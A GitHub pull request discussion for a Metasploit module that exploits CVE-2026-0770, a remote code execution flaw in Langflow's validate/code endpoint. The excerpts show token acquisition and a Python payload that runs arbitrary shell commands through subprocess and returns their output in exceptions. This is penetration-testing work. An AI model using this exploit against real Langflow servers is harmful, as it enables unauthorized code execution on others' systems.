Langflow CVE-2026-0770 exploit module - #21750
Conversation
|
There are options like Proxy, SSL, VHOST etc that came along the HTTP base classes. Should I remove them? Will build the docs file if the module is good to go. |
|
@bhaskarbhar Finished my review (as requested here). We'll still need a core team member to manually review after they kick off a Co-Pilot assessment |
|
@smcintyre-r7 Need your review on this PR. |
There was a problem hiding this comment.
Pull request overview
Adds a new Metasploit exploit module under modules/exploits/multi/http/ to leverage CVE-2026-0770 in Langflow by obtaining an access token (via auto_login or credentialed login) and then triggering code execution through the validate/code endpoint.
Changes:
- Introduces a new HTTP exploit module for Langflow CVE-2026-0770 with token acquisition logic (
/api/v1/auto_loginor/api/v1/login). - Implements command execution via
/api/v1/validate/codeand parses validation errors to surface command output.
Impact Analysis: isolated change; no meaningful downstream impact identified from diff.
| if res && res.body.to_s =~ /Langflow/i | ||
| Exploit::CheckCode::Appears('The target is running Langflow') | ||
| else | ||
| Exploit::CheckCode::Unknown('The target did not present a Langflow banner') | ||
| end |
| cmd = datastore['CMD'] || 'id' | ||
|
|
||
| token = obtain_token | ||
| fail_with(Failure::Unknown, 'Failed to obtain an access token') if token.nil? | ||
|
|
||
| payload = <<~PY | ||
| def exploit( | ||
| _=( lambda r: (_ for _ in ()).throw(Exception(f"{r.stdout}{r.stderr}")) )( | ||
| __import__('subprocess').run('#{cmd}', shell=True, capture_output=True, text=True) |
| res = send_request_cgi( | ||
| 'method' => 'POST', | ||
| 'uri' => '/api/v1/validate/code', | ||
| 'ctype' => 'application/json', | ||
| 'data' => body.to_json, |
| 'Name' => 'Langflow Unauthenticated RCE (validate endpoint)', | ||
| 'Description' => %q{ | ||
| Langflow before 1.3.0 contains an unauthenticated remote code execution | ||
| vulnerability in the `validate` endpoint where unsanitized values in | ||
| `exec_globals`/`code` allow an attacker to execute arbitrary code. |
|
@adfoster-r7 Requesting review. |
This module exploits CVE-2026-0770 of Langflow.
Fixes: #21712
CVE details: https://nvd.nist.gov/vuln/detail/cve-2026-0770
Original POC: https://www.exploit-db.com/exploits/52597
Two scenarios has been taken care of: